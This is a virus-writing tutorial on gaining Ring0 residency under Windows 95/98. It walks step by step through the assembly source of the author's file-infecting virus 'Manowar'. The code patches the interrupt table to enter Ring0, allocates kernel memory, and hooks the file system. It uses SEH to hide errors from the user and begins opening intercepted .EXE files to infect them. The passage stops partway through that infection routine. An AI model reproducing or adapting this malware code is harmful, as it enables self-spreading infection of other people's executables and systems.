Ring0 Residency
by Lord Julus


Foreword

Well, here I am again... finally writting what I was willing to write for at least one year now. A Win95 residency tutorial. Since this tute is a little limited due to the fact that the method presented here doesn't work under WindowsNT, I will expand it in another direction, presenting the entire process of going resident, catching and infecting the PE files. As you will see, this resembles very much to good old DOS resident viruses, with one exception: it's much more easy! Really... Just follow all instructions, read everything carefully, get a grip on the docs you need and then... be imaginative!! The holes in win95/98 are so dark and big, they offer so many stealth opportunities and so many flaws can be used that you need to be VERY imaginative! I will start by presenting some basic things like concepts and such, docs and utils you need and so on. So, let's ride...

Basics

Before going to the way let me tell you what are the docs you might need in order to be able to properly understand, use and develop this method:

        Microsoft SDK (msdn.microsoft.com)
        Microsoft DDK (www.microsoft.com/hwdev/ddk)
        Visual C++ include files
        Ralph Brown list

The infos in these docs are redundant. By this I mean that there are 3 DDK's at the moment: DDK98 (windows98), DDK40 (windowsNT 4.0), NTDDK (beta 2 for windowsNT 5.0, or windows 2000). Also many files in the DDK and SDK can be found in the Visual C++ include files. The thing is that the DDKs are huge files (29-50Megs), so it's better to just copy the includes from somebody...

Now let's work...

The entire Windows95/98 is built basically at two levels that go by the name of Ring0 and Ring3. Trust me, I have no idea where did ring1 and 2 go ;-))). Anyway, these are called priviledge levels. Ring0 is the highest priority and Ring3 is the lowest priority. The kernel, the core of the system is running at Ring0.

Def: "Running at Ring0" = running with the highest priorities, meaning you have all the hardware access possible.

"Running at Ring3 = running with the lowest priorities, actually being able to only execute what the kernel system is offering.

The kernel so, runs at Ring0. Do you remember good old times when you were able to use ports to read hardisk areas and stuff like that? Well, inside the win32 system you can only do this when running at Ring0. When running at Ring3, like all user applications do, you are restricted to the Windows APIS (check my article on using Windows APIS and also check the Win32 API Programmers Help). Here, in these APIS you will realize, when checking them, that basically it is pretty hard to get resident. That's because of the Windows95 particular system of running the applications.

Basically the thing goes like this: Windows creates a memory area for the process that is about to run and then starts it. The running process is restricted (not quite, but let's say so) to it's zone. It is pretty hard for one process to affect other running processes. Also, when the process ends, the entire memory area is wiped. So, basically you can go resident using APIS in the current process memory zone (using the GlobalAlloc API), but once the process is shut down, so is the virus. Usually these kinds of viruses go resident in the process area and spawn themselves (create a new process) with the virus itself, but the sapwning method is not the issue of this article...

Anyway, what I was trying to explain is that when at Ring3 your hands are pretty tied up... So we establish one thing: we must reach Ring0. This is the first goal. What we are about to do when at Ring0..., well we'll see about that.

One of the first (if not even the first) virus that used the next method of getting into Ring0 was CIH. This virus was widely spread during the year 1998, but it didn't get many fans due to the fact that it was highly destructive (wipping the HDD and the flash bios if any). Hence, the virus writters took the best out of it, and that is one method of going into Ring0.

In Windows, whenever something really bad happens, something called Exception Error pops up. The Exception Error is something that wasn't suppose to happen, but it did... In order to announce the user about this, the system issues an INT. At that point, the system jumps into Ring0 in order to be able to do all its internal laundry... This is what our code will do. It will try to modify the address of an interrupt, issue that interrupt, thus making the system believe that some error occured. When this happend, it jumps in Ring0 and suddenly we find ourselves in our handler going at Ring0 (check next chapter to see all steps)... One down, still to go!!

Let's see what can we do at Ring0 and what do we need to do...

There exist something in Windows called a VxD (Virtual Driver). This thing goes back to win31... The virtual drivers are actually pieces of code which run at Ring0. They have a special way of accessing the hardware resources and this is called the VxD call. You can think about the VxD call like about the old dos Int 21h. Why is that? Because it accepts parameters in different registers, makes a call and returns different parameters in different registers. This approach brings it more closer to old dos methods of calling interrupts than the new win32 way which introduces the push on stack parameters and the calls to very easy to remember functions (like CreateFile, etc...). Anyway, the VxD call is encoded in a special way. You must define it in your code kinda like this:

        vxdcall macro vxd_id, service_id
                      int 20h
                      dw service_id
                      dw vxd_id
                endm

You define this macro in the beginning of your code and then you use it like this:

        vxdcall 40h, 32h  (only an example)

This example generates the following code:

        CD20h     int 20h
        0040h     dw  40h
        0032h     dw  32h

When the code gets executed, windows recognizes the Int 20h as being a VxD call and interprets the following parameters (these params will be discussed later). If the system doesn't recognize the VxD ID or the service ID the well known blue screen appears saying something like "Invalid VxD call"... But, remember, you can only do VxD calls when running at Ring0. If you are at Ring3 you will get and exception error.

So, continuing, when windows stumbles over this the so called callback routine changes the above sequence into something like this:

        call [address]

where address is a pointer which holds the actual address of the VxD service.

Don't try to hard find these addresses and try to call them directly, from Ring0 or Ring3. Firstly, this would fail and secondly the addresses are not supposed to be fixed. And this will be proven soon.

The fact that the initial encoding of the VxD call gets changed into a call is a big problem that needs to be solved. That's because in order to infect a file you must use VxD calls. When you use one, it's encoding gets changed and the victim file will get infected with a copy of the virus, but with the VxD calls ALREADY changed by the callback function. The next time the victim runs, an exception error will occur when the EIP will reach that call. Even if the VxD address is there, by doing a direct call there you will get an exception error. How to fix this, we'll see later...

Now, let's discuss about the VxD calls we will use and how...

The most important and used by us is the IFSMgr Vxd service. This is the one that allows us to practically go resident, catch files and infect them. Here is how to define it:

        IFSMgr = 0040h

Now let's study some of the VxD calls we will use in out code:

GetHeap = 000dh

        Usage:

                mov eax, memory_needed     ;
                push eax                   ; push requested memory
                vxdcall IFSMgr, GetHeap    ;
                pop ecx                    ; memory obtained here
                or eax, eax                ; new address in eax
                jz no_memory               ;

So, you must push the ammount of memory you need, then call the GetHeap VxD call. After this you pop from stack the amount of memory that was allocated and in EAX you get the address of the new memory zone. From EAX up to EAX+ECX is the area you just allocated... Usually this gives you a free zone somewhere above 0C000000, more likely around 0C1000000h, or anyway somewhere there...

This was the call that allowed us to go resident. Now all you need to do is move the code there (check code study). The next VxD call is the one that will allow us to catch the files:

InstallFileSystemAPIhook = 0067h

        Usage:

                lea eax, API_hook
                push eax
                vxdcall IFSMgr, InstallFileSystemAPIhook
                pop ebx
                mov nexthook, eax

So, you push the address of a procedure where you will handle files and then you get in eax the address of the next hook which you need to save. At the end of your own hook routine you will need to call this in order to close the circle. This looks exactly like old Int 21h hooking. You install a routine that catches system calls regarding files, you process what you need and afterwards you call the original routine. Very simple, but please check the code analyze to get it right... And, I hope you understood already that the API_hook routine will run at Ring0. After all, the system needs everything there...

When entering into the API_hook, not only ours, but any, the stack looks like this:

      Offset | Size |  Explanation
     --------+------+---------------------------------------------------
      00h    |  DD  |  Saved EBP
      04h    |  DD  |  Return address
      08h    |  DD  |  The address of the FSD to be called
      0Ch    |  DD  |  The action that will be performed
      10h    |  DD  |  The drive where do to de operation on
      14h    |  DD  |  The kind of resource the operation is done on
      18h    |  DD  |  The codepage that the user string was passed in on
      1Ch    |  DD  |  A pointer to a IOREQ structure

The main interest for us are the following:

0Ch = action to be performed, or example file open, file rename, file read, etc...

10h = drive where the operation takes place

1Ch = the IOREQ structure

About the action, here are some common valuez to check for:

        IFSFN_OPEN       = 36
        IFSFN_RENAME     = 37
        IFSFN_FILEATTRIB = 33

About the drive type, this is defined as a >0 number, where 1 means drive A. So, you may want to skip infection on floppy disks as the operations are slower.

The codepage should be an important parameter, but I choosed not to used it. When converting the strings as you will see later, the codepage is used to obtain a correct convertion to ASCII of the Unicode string type.

About the IOREQ structure, it is defined as follows:

        ioreq   struc
            ir_length  dw ? ; length of user buffer (eCX)              00h
            ir_flags   db ? ; misc. status flags (AL)                  02h
            ir_user    db ? ; user ID for this request                 03h
            ir_sfn     dw ? ; System File Number of file handle        04h
            ir_pid     dw ? ; process ID of requesting task            08h
            ir_ppath   dd ? ; unicode pathname                         0Ch
            ir_aux1    dd ? ; secondary user data buffer (CurDTA)      10h
            ir_data    dd ? ; ptr to user data buffer (DS:eDX)         14h
            ir_options dw ? ; request handling options                 18h
            ir_error   dw ? ; error code (0 if OK)                     1Ah
            ir_rh      dw ? ; resource handle                          1Ch
            ir_fh      dw ? ; file (or find) handle                    1Eh
            ir_pos     dd ? ; file position for request                20h
            ir_aux2    dd ? ; misc. extra API parameters               24h
            ir_aux3    dd ? ; misc. extra API parameters               28h
            ir_pev     dw ? ; ptr to IFSMgr event for async requests   2Ch
            ir_fsd     db (size fsdwork) dup (?) ; Provider work space 2Eh
         ioreq   ends

where fsdwork is:

         fsdwork struc
                 dw 16 dup(?)
         fsdwork ends

It's off little importance now what you can find in the additional fields inside the aux1, 2, 3 fields. What we are looking at is the unicode pathname. You can see that it is found at IOREQ+0Ch. So, in order to get a pointer to the Unicode path name of the file we must do the follwing:

               mov eax, [ebp+1Ch]                    ; get IOREQ pointer
               mov eax, [eax+0Ch]                    ; point the filename
               add eax, 4                            ;

The add is needed to skip some crap in the beginning of the UniCode path. In this simple way (only 3 instructions, you don't even have to remember the IOREQ structure), we have EAX pointing the filename in Unicode system.

Now EAX points to the filename! Check below the code to fully understand.

So, basically the API_hook must preserve all the stuff which comes on the stack, do the dirty job and then restore the stack! That's it!

So, now we are able to catch files. That's because every time windows is doing any kind of file operation, it calls the FileSystemAPIhook. Now let us focus on another important call, which allows us to make all the needed operations on files:

Ring0_FileIO = 0032h

        Usage:

                mov registers, parameters
                vxdcall IFSMgr, Ring0_FileIO

Usually because this VxD call is used more often you should make an call to it like this:

                call Ring0_File_IO
                ...
       Ring0_File_IO:
                vxdcall IFSMgr, Ring0_FileIO
                ret

For the parameters we have the following:

        1) Opening a file
        =================

                lea esi, filename           ; file name
                mov bx, 2                   ; open style
                mov cx, 0                   ; file attribute
                mov dx, 1                   ; fail if not opened
                mov eax, R0_OPENCREATFILE   ;
                call Ring0_File_IO          ;

                R0_OPENCREATEFILE = 0D500h

On return we have in EAX the file handle. If CF is set then an error occured.

        2) Reading from a file
        ======================

                lea esi, buffer      ; buffer to read to
                mov ebx, handle      ; handle as given by OPENCREATEFILE
                mov ecx, size        ; bytes to read
                mov edx, pos         ; position in file
                mov eax, R0_READFILE ;
                call Ring0_File_IO   ;

                R0_READFILE = 0D600h

The fact that you are allowed to specify the position in file to read from is particulary nice. To read consequent passages from one file you need to make yourself a variable and increase it with the size read everytime and then use that variable as the position in file parameter. CF set means error.

        3) Writing to a file
        ====================

                lea esi, buffer       ; buffer to write from
                mov ecx, size         ; bytes to write
                mov ebx, handle       ; handle of file
                mov eax, R0_WRITEFILE ;
                mov edx, pos          ; position in file to write at
                call Ring0_File_IO    ;

                R0_WRITEFILE = 0D601h

This is similar to file read.

        5) Closing a file
        =================

                mov ebx, handle        ; handle
                mov eax, R0_CLOSEFILE  ;
                call Ring0_File_IO     ;

                R0_CLOSEFILE = 0D700

So, these are all the calls you need to know in order to open, read, write and close a file. Don't you see a hitting resemblance to the Int 21 file handling? Oh, yes it is... That's because deep down inside even windows95/98 calls the int21... But that's a whole other story. You just keep in mind the above stuff and check forward how to use it exactly.

Some more, but not described in the code study area are the set attributes and get attributes calls:

        R0_FILEATTRIBUTES = 04300h
        GET_ATTRIBUTES    = 00h
        SET_ATTRIBUTES    = 01h

Use them like this:

        Getting attributes:
        -------------------

        lea esi, filename
        mov eax, R0_FILEATTRIBUTES + GET_ATTRIBUTES
        call Ring0_File_IO

This returns in ECX the attributes.

        Setting attributes
        ------------------

        lea esi, filename
        mov ecx, newattributes
        mov eax, R0_FILEATTRIBUTES + SET_ATTRIBUTES
        call Ring0_File_IO

You can use this calls if you want to restore the attributes of the infected files. In Manowar I didn't use these.

One more thing to say would be this: When the API hook gets called, the filename which is about to be accessed comes as a parameter but it is in Unicode system. The Unicode is some stuff invented by a very smart guy in order to be able to write in all kinds of languages which don't have the US alphabet. Something like an Esperanto for computers... Anyway, in order to be able to use the file you must turn it into BCS system. This is done by the UniToBCSPath Vxd call. You can do it by hand, butI wouldn't recommend it to you... Check the UniToBCSPath call explained below.

Basically this is what you need to know as to make a big picture about how it is going... I have to repeat once again that this resembles very much with old dos resident viruses using Int 21 hooking. It's the same idea, the same method, but only different kinds of calls... You'll get used to it soon, as I did too...

Before jumping to code study let me tell you a few words on something else we will be using in here, and that's the SEH frame. It is not particular to win32 Ring0 programming, but it is widely used. It seems that Microsoft(C) tried to hide a little the things behind the SEH frame. SEH means Structured Exception Handler. Briefly everytime a nasty exception error occures, the SEH frame receives control. Here, on the stack there are several informations that are vital into giving the user an warning about what has happened. It's the SEH frame that brings you that window that says "The program tried to do an ilegal operation and will be shut down". You will see that the SEH frame is very important for us, especially as we are dealing with a very sensitive thing like Ring0. So, what we are interested to do is setup a SEH frame so that if an error occures, the program won't stop, instead it will restore everything back and jump back to the host. The SEH frame is set like this:

On entry the FS:[0] points to the original SEH frame, which we retrieve and save:

       mov eax, dword ptr fs:[00H]           ; get the old seh pointer
       mov dword ptr [ebp+SEH_nextpointer], eax; set in structure
       mov dword ptr [ebp+SEH_oldpointer], eax ; and save for restore

Then we take a pointer to our own exception handler and replace the dword at FS:[0]:

       lea eax, [ebp+return_to_host]         ; make it point here...
       mov dword ptr [ebp+SEH_errorhandler], eax;
       lea eax, [ebp+SEH_nextpointer]        ;
       mov dword ptr fs:[00H], eax           ; and point the structure

The SEH pointers are defined like this:

                SEH_next_pointer DD ?
                SEH_errorhandler DD ?

So basically the SEH points to a kinda like inversed way. Our real pointer is the second and it points to a return_to_host address. There you must restore the SEH handler (check code) in only two lines and everything is ready...

Now let us start and check the code more attentively:

Code study

In order for you to understand very well all that I explained above, I decided to take a piece of code of my own and describe it piece by piece. This way all the fog will clear up and soon you will be a Ring0 expert!

The code I used in this study is a virus of mine called Manowar. It's my first Ring0 virus, fully functional, but test only (no messages, debug beep included, no encryption, etc...). So, let's get down to bussiness:

First, the macro and all the Equates you will be needing.

;=====( Macros )=============================================================

vxdcall macro vxd_id, service_id             ; These are macros used to
      int 20h                                ; call a VxD service or...
      dw service_id                          ;
      dw vxd_id                              ;
endm                                         ;

;=====( Equates )============================================================

IFSMgr                   = 0040h             ; VXD service
GetHeap                  = 000dh             ;
InstallFileSystemAPIhook = 0067h             ;
Ring0_FileIO             = 0032h             ;
UniToBCSPath             = 0041h             ;
IFSFN_OPEN               = 36                ; open file
R0_OPENCREATFILE         = 0D500h            ; Open/Create a file
R0_READFILE              = 0D600h            ; Read a file, no context
R0_WRITEFILE             = 0D601h            ; Write to a file, no context
R0_CLOSEFILE             = 0D700h            ; Close a file
exception_int            = 3                 ;
exe_ext                  = 'EXE.'            ;
virussize                = end-start         ;

Now let's start to code. First we start in Ring3. Here we need to get our delta handle, because we assume we are in the tail of an infected host:

start:                                       ;
       call get_delta                        ;
                                             ;
get_delta:                                   ;
       pop ebp                               ;
       sub ebp, offset get_delta             ;
       jmp realstart                         ; jump over data

Now, let's define the needed data:

IDT_Address      dq 0                        ; IDT address
exception        dd 0                        ; exception place
old_offset       dd 0                        ; real old offset
flag             db 0                        ; infection flag
newaddress       dd 0                        ; new virus place
filename         db 260 dup (0)              ; victim's name
handle           dd 0                        ; victim's handle
crt_move         dd 0                        ; current movement in file
sec_ptr          dd 0                        ; pointer to section
Old_EIP          dd 0                        ; Old Entry point
S_Align          dd 0                        ; section alignment
F_Align          dd 0                        ; file alignment
SOI              dd 0                        ; size of image
peheader         dd 0                        ; pe header address
virusplace       dd 0                        ; virus place in victim
imagebase        dd 0                        ; imagebase of victim
                                             ;
SEH_oldpointer   dd ?                        ; SEH saved pointer
SEH_nextpointer  dd ?                        ; SEH structure... old pointer
SEH_errorhandler dd ?                        ;                  new pointer

These were the most basic data you need in this code. Following there is a description of how we will encode the stuff inside the PE header. I included this here assuming that some of you don't have a strong grip on the PE header structure. I tried to comment each line. If you know about all these, scroll down to the code:

;=====( File header structures )=============================================

IMAGE_DOS_HEADER STRUC            ; DOS .EXE header
    MZ_magic      DW ?            ; Magic number
    MZ_cblp       DW ?            ; Bytes on last page of file
    MZ_cp         DW ?            ; Pages in file
    MZ_crlc       DW ?            ; Relocations
    MZ_cparhdr    DW ?            ; Size of header in paragraphs
    MZ_minalloc   DW ?            ; Minimum extra paragraphs needed
    MZ_maxalloc   DW ?            ; Maximum extra paragraphs needed
    MZ_ss         DW ?            ; Initial (relative) SS value
    MZ_sp         DW ?            ; Initial SP value
    MZ_csum       DW ?            ; Checksum
    MZ_ip         DW ?            ; Initial IP value
    MZ_cs         DW ?            ; Initial (relative) CS value
    MZ_lfarlc     DW ?            ; File address of relocation table
    MZ_ovno       DW ?            ; Overlay number
    MZ_res        DW 4 DUP(?)     ; Reserved words
    MZ_oemid      DW ?            ; OEM identifier (for MZ_oeminfo)
    MZ_oeminfo    DW ?            ; OEM information; MZ_oemid specific
    MZ_res2       DW 10 DUP(?)    ; Reserved words
    MZ_lfanew     DD ?            ; File address of new exe header
IMAGE_DOS_HEADER ENDS             ;
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
                                  ;
IMAGE_FILE_HEADER STRUC           ; Portable Exe File
    PE_Magic                 DD ? ;
    Machine                  DW ? ; Machine type
    NumberOfSections         DW ? ; Number of sections
    TimeDateStamp            DD ? ; Date and Time
    PointerToSymbolTable     DD ? ; Pointer to Symbols
    NumberOfSymbols          DD ? ; Number of Symbols
    SizeOfOptionalHeader     DW ? ; Size of Optional Header
    Characteristics          DW ? ; File characteristics
IMAGE_FILE_HEADER ENDS            ;
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER

IMAGE_DATA_DIRECTORY STRUC                         ; Image data directory
    DD_VirtualAddress DD ?                         ; Virtual address
    DD_Size           DD ?                         ; Virtual size
IMAGE_DATA_DIRECTORY ENDS                          ;
                                                   ;
IMAGE_DIRECTORY_ENTRIES STRUC                      ; All directories
    DE_Export           IMAGE_DATA_DIRECTORY    ?  ;
    DE_Import           IMAGE_DATA_DIRECTORY    ?  ;
    DE_Resource         IMAGE_DATA_DIRECTORY    ?  ;
    DE_Exception        IMAGE_DATA_DIRECTORY    ?  ;
    DE_Security         IMAGE_DATA_DIRECTORY    ?  ;
    DE_BaseReloc        IMAGE_DATA_DIRECTORY    ?  ;
    DE_Debug            IMAGE_DATA_DIRECTORY    ?  ;
    DE_Copyright        IMAGE_DATA_DIRECTORY    ?  ;
    DE_GlobalPtr        IMAGE_DATA_DIRECTORY    ?  ;
    DE_TLS              IMAGE_DATA_DIRECTORY    ?  ;
    DE_LoadConfig       IMAGE_DATA_DIRECTORY    ?  ;
    DE_BoundImport      IMAGE_DATA_DIRECTORY    ?  ;
    DE_IAT              IMAGE_DATA_DIRECTORY    ?  ;
IMAGE_DIRECTORY_ENTRIES ENDS                       ;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16              ;
                                                   ;
IMAGE_OPTIONAL_HEADER STRUC                        ; Optional Header
    OH_Magic                        DW ?           ; Magic word
    OH_MajorLinkerVersion           DB ?           ; Major Linker version
    OH_MinorLinkerVersion           DB ?           ; Minor Linker version
    OH_SizeOfCode                   DD ?           ; Size of code section
    OH_SizeOfInitializedData        DD ?           ; Initialized Data
    OH_SizeOfUninitializedData      DD ?           ; Uninitialized Data
    OH_AddressOfEntryPoint          DD BYTE PTR ?  ; Initial EIP
    OH_BaseOfCode                   DD BYTE PTR ?  ; Code Virtual Address
    OH_BaseOfData                   DD BYTE PTR ?  ; Data Virtual Address
    OH_ImageBase                    DD BYTE PTR ?  ; Base of image
    OH_SectionAlignment             DD ?           ; Section Alignment
    OH_FileAlignment                DD ?           ; File Alignment
    OH_MajorOperatingSystemVersion  DW ?           ; Major OS
    OH_MinorOperatingSystemVersion  DW ?           ; Minor OS
    OH_MajorImageVersion            DW ?           ; Major Image version
    OH_MinorImageVersion            DW ?           ; Minor Image version
    OH_MajorSubsystemVersion        DW ?           ; Major Subsys version
    OH_MinorSubsystemVersion        DW ?           ; Minor Subsys version
    OH_Win32VersionValue            DD ?           ; win32 version
    OH_SizeOfImage                  DD ?           ; Size of image
    OH_SizeOfHeaders                DD ?           ; Size of Header
    OH_CheckSum                     DD ?           ; unused
    OH_Subsystem                    DW ?           ; Subsystem
    OH_DllCharacteristics           DW ?           ; DLL characteristic
    OH_SizeOfStackReserve           DD ?           ; Stack reserve
    OH_SizeOfStackCommit            DD ?           ; Stack commit
    OH_SizeOfHeapReserve            DD ?           ; Heap reserve
    OH_SizeOfHeapCommit             DD ?           ; Heap commit
    OH_LoaderFlags                  DD ?           ; Loader flags
    OH_NumberOfRvaAndSizes          DD ?           ; Number of directories
                                    UNION          ; directory entries
    OH_DataDirectory                IMAGE_DATA_DIRECTORY\
                                    IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
    OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
                                    ENDS           ;
    ENDS                                           ;
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
                                                   ;
IMAGE_SECTION_HEADER STRUC                         ; Section hdr.
    SH_Name                 DB 8 DUP(?)            ; name
                            UNION                  ;
    SH_PhysicalAddress      DD BYTE PTR ?          ; Physical address
    SH_VirtualSize          DD ?                   ; Virtual size
                            ENDS                   ;
    SH_VirtualAddress       DD BYTE PTR ?          ; Virtual address
    SH_SizeOfRawData        DD ?                   ; Raw data size
    SH_PointerToRawData     DD BYTE PTR ?          ; pointer to raw data
    SH_PointerToRelocations DD BYTE PTR ?          ; ...
    SH_PointerToLinenumbers DD BYTE PTR ?          ; ...... not really used
    SH_NumberOfRelocations  DW ?                   ; ....
    SH_NumberOfLinenumbers  DW ?                   ; ..
    SH_Characteristics      DD ?                   ; flags
IMAGE_SECTION_HEADER ENDS                          ;
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
                                                   ;
my_mz_header IMAGE_DOS_HEADER      ?               ; our real data comes
my_pe_header IMAGE_FILE_HEADER     ?               ; here...
my_oh_header IMAGE_OPTIONAL_HEADER ?               ;
my_section   IMAGE_SECTION_HEADER  ?               ;

We start to code!! First let's set the SEH handler I talked about before:

realstart:                                       ;
       mov eax, dword ptr fs:[00H]               ; get the old seh pointer
       mov dword ptr [ebp+SEH_nextpointer], eax  ; set in structure
       mov dword ptr [ebp+SEH_oldpointer], eax   ; and save for restore
       lea eax, [ebp+return_to_host]             ; make it point here...
       mov dword ptr [ebp+SEH_errorhandler], eax ;
       lea eax, [ebp+SEH_nextpointer]            ;
       mov dword ptr fs:[00H], eax               ; and point the structure

Now we are sure that if something bad happens, the code will jump to our error handler, which actually points to return_to_host, thus jumping back to the host and making the user not notice the error.

Now let us prepare to go into Ring0: The SIDT (Store Interrupt Device Table) stores the address of the IDT at the destination. The first two bytes are the length of the IDT. Then the offset for each interrupt is to be found at Interrupt Number multiplied by 8. There you have two words in inverse format that point to the interrupt. All we need to do is save the old address and set the address to point to our own routine (called Ring0 here). The interrupt used here is Int 3:

       sidt [ebp+IDT_Address]                ; Get interrupt address
       mov esi, dword ptr [ebp+IDT_Address+2]; (first 2 are the length)
       add esi, exception_int*8              ; get the offset for Int
       mov dword ptr [ebp+exception], esi    ; save exception place
       mov bx, word ptr [esi+6]              ; get low word
       shl ebx, 10H                          ; shift left
       mov bx, word ptr [esi]                ; get high word
       mov dword ptr [ebp+old_offset], ebx   ; save exception offset
       lea eax, [ebp+offset Ring0]           ; eax=new Int handler
       mov word ptr [esi], ax                ; store high word
       shr eax, 10H                          ; shift right
       mov word ptr [esi+6], ax              ; and store low word

Before going to Ring0 it's better to check if you are already resident. Manowar does it like this:

       mov eax, 0c000e990h                   ; check residency mark...
       cmp dword ptr [eax], 'MWAR'           ; use your own here...
       jne go_on_to_ring0                    ;
       jmp already_installed                 ;

Now we are ready to go to Ring0. We generate an interrupt which jumps us into the Ring0 routine...

go_on_to_ring0:                              ;
       int exception_int                     ; Generate exception -> Ring0 !

After the Int is executed, the control comes back here. Also we find ourselves here if the virus was already resident. Our job here is to restore the Exception Interrupt address, the SEH frame and to return to the host:

already_installed:                           ;
       mov esi, dword ptr [ebp+exception]    ; restore IDT address
       mov ebx, dword ptr [ebp+old_offset]   ; restore exception offset
       mov word ptr [esi], bx                ; restore exception
       shr ebx, 10H                          ; handler
       mov word ptr [esi+6], bx              ;
                                             ;
return_to_host:                              ;
       mov eax, dword ptr [ebp+SEH_oldpointer]; restore the old SEH pointer
       mov dword ptr fs:[00H], eax           ;
                                             ;
exit:                                        ;
       cmp ebp, 0                            ;
       je generation_1                       ;
       mov eax, [ebp+Old_EIP]                ;
       add eax, [ebp+imagebase]              ;
       jmp eax                               ;
                                             ;
generation_1:                                ;
       Push 0                                ;
       Call ExitProcess                      ; and exit

So you noticed that after we restore the IDT and the SEH, we check if we are in generation one, thus issuing an ExitProcess, otherwise we use the OLD_Eip aligned with the image base. How we retrieve these you will find explained a little later.

Now let's take a look at the Ring0 routine... This is where we will go resident and install our File System Hook. Before doing this let me stop a little and return to something I spoke about a while back so that you won't get confused. I explained you how the calls to a VxD service damage the encoding and turn it into a call. Well, the method used in Manowar (and firstly applied by Quantum in FuckHarry) is to restore it by hand. This means that after the call is issued, later in the code you put back the values to restore the Int20/dw/dw structure. For this, you will see before each VxD call a label saying fix_n. Also above it an equate saying: fix_n_value equ vxd_id+256*256*IFSMgr. Later when we will fix the calls, we will simply put a CD20h (Int20h) at the fix_n address, and then the fix_n_value at fix_n+2 address. By this method the initial VxD encoding is restored. If you do not really understand this, just try it our in TD32 and see how it goes...

Ring0 proc                                   ; Here we are at Ring0
       pushad                                ; save registers
       mov eax, end-start+100                ; memory needed
       push eax                              ;
                                             ;
fix_1_value equ GetHeap+256*256*IFSMgr       ; fix dword for GetHeap
fix_1:                                       ;
       vxdcall IFSMgr, GetHeap               ; get it!
       pop ecx                               ; in ecx...
       or eax, eax                           ; did we make it?
       jz no_free_mem                        ;

If we are here than the memory allocation was successful and we are about to copy our virus into memory:

       xchg eax, edi                         ; EDI = new free memory area
       lea esi, dword ptr [ebp+start]        ; ESI = start of virus
       push edi                              ;
       mov ecx, end-start                    ;
       rep movsb                             ; copy virus...
       pop edi                               ;
       mov dword ptr [ebp+newaddress], edi   ;
       mov dword ptr [edi+delta1-start], edi ;

Let's understand the delta handle now... We will use EDI as the base of our virus into the new memory area. But when our virus was first compiled, all the addresses were aligned to the START. Meaning that if we want to address an address in the new memory, we must substract the START and add the new delta EDI. So all memory addressing inside the new code will be like this:

        [edi + variable - start]

But later on when the FileSystemAPIhook will be called, the EDI will be lost! That's why we put it's value into the delta1 variable. You will see later how we use it...

Now let's install our API hook. Note that we are referring to addresses into the new allocated memory, where the copy off the virus is resident:

       lea eax, [edi+API_hook-start]         ; FSAPI hook
       push eax                              ;
                                             ;
fix_2_value equ InstallFileSystemAPIhook+256*256*IFSMgr;
fix_2:                                       ;
       vxdcall IFSMgr, InstallFileSystemAPIhook; install new handler
       pop ebx                               ; just to restore stack
       mov [edi+nexthook-start], eax         ; save the old hook handler
       jmp install_success                   ;

In this simple way, we are now the owners of the File System. Every calls to access the files will first run through our API_hook routine.

Now some final things:

no_free_mem:                                 ;
       jmp exit_to_ring3                     ;
                                             ;
install_success:                             ;
       mov eax, 0c000e990h                   ; mark as resident
       mov dword ptr [eax], 'MWAR'           ;
       mov byte ptr [edi+flag-start], 0      ; reset flag
                                             ;
exit_to_ring3:                               ;
       popad                                 ; restore regs
       iretd                                 ; Get out of R0
Ring0 endp                                   ;

You see how easily we get out from Ring0 to Ring3. A simple Iretd does the trick!

Now let us focus on the API hook routine. Here is where the code gets control everytime a file is accessed. We will enter in a C like style to have the stack pointed by EBP. This is done like this because we will be needing stuff of the stack. Before we start to do our job we must remove from the stack the parameters and then we will put them back. This is the way QG used the API_hook in FuckHarry. You can address the stack directly by using [esp].

API_hook:                                    ;
        push ebp                             ; C-like enter
        mov ebp, esp                         ;
        sub esp, 20h                         ; get parametrs off stack
                                             ;
        push ebx                             ; save some regs
        push esi                             ;
        push edi                             ;
                                             ;
        db 0BFh                              ; EDI = new delta handle in mem
delta1  dd 0                                 ;

The above line puts in EDI the value we computed earlier when we went resident. It's actually the base where the virus is resident and it's use is of a delta handle.

The calls to file access are very often. Inside here we will do some of our own. It's very important not to reenter in this routine. Therefore we will set avariable which will be 1 while we are inside here. We compare it to 1 to see if we can go on:

        cmp byte ptr [edi+flag-start], 1     ; safety flag (prevents reentry)
        je over_now                          ;
                                             ;
        cmp dword ptr [ebp+12], IFSFN_OPEN   ; is this an openfile call ?
        jne over_now                         ;

The parameter at EBP+12 is the action that the system want to take over the file. What we are interested in it File Opening. If it is so, we keep going:

        mov byte ptr [edi+flag-start], 1     ; set our reentrance flag
        pusha                                ; push all regs
        lea esi, [edi+filename-start]        ;

We are about to create the name of the file that will be accessed. The parameter at EBP+16 is the drive type. 1 means A, 2 means B, etc. We add 40h to it to obtain the ascii value (A, B, C,...). Then we add a ':\' in order to have a full path (like c:\):

        mov eax, [ebp+16]                    ; get drive type (1=A)
        cmp al, 0ffh                         ; bigger
        je no_path                           ; then -> problem
        add al, 40h                          ; align to ASCII
        mov byte ptr [esi], al               ;
        inc esi                              ;
        mov byte ptr [esi], ':'              ;
        inc esi                              ;
        mov byte ptr [esi], '\'              ; we have a 'c:\' now...

Now we are about to make the conversion. The parameter at EBP+28 is the IOREQ structure. In the IOREU structure at offset 12 you have the file namein Unicode format. The pushed parameters are as follows: 0, maximum length, offset of unicode format, offset where to put the asciiz string. You need to put yourself the terminator Z to make it an asciiz string.

no_path:                                     ; prepare for unicode conversion
        push 0                               ; push BCS/WANSI code
        push 260                             ; maximum filename
        mov eax, [ebp+28]                    ; get IOREQ
        mov eax, [eax+12]                    ;
        add eax, 4                           ;
        push eax                             ; push filename
        push esi                             ; push destination
                                             ;
fix_3_value equ UniToBCSPath+256*256*IFSMgr  ;
fix_3:                                       ;
        vxdcall IFSMgr, UniToBCSPath         ; Convert name!!
        add esp, 4*4                         ; restore stack
        add esi, eax                         ; eax = length
        mov byte ptr [esi], 0                ; make it ASCIIZ string

Now ESI points to the end of the filename. Check to see if it is an exe file:

        cmp dword ptr [esi-4], exe_ext       ; 
        jne notexe                           ; 

And if so, let's start the operations to open the file:

        lea esi, [edi+filename-start]        ; let's open the file
        mov bx, 2                            ;
        mov cx, 0                            ;
        mov dx, 1                            ;
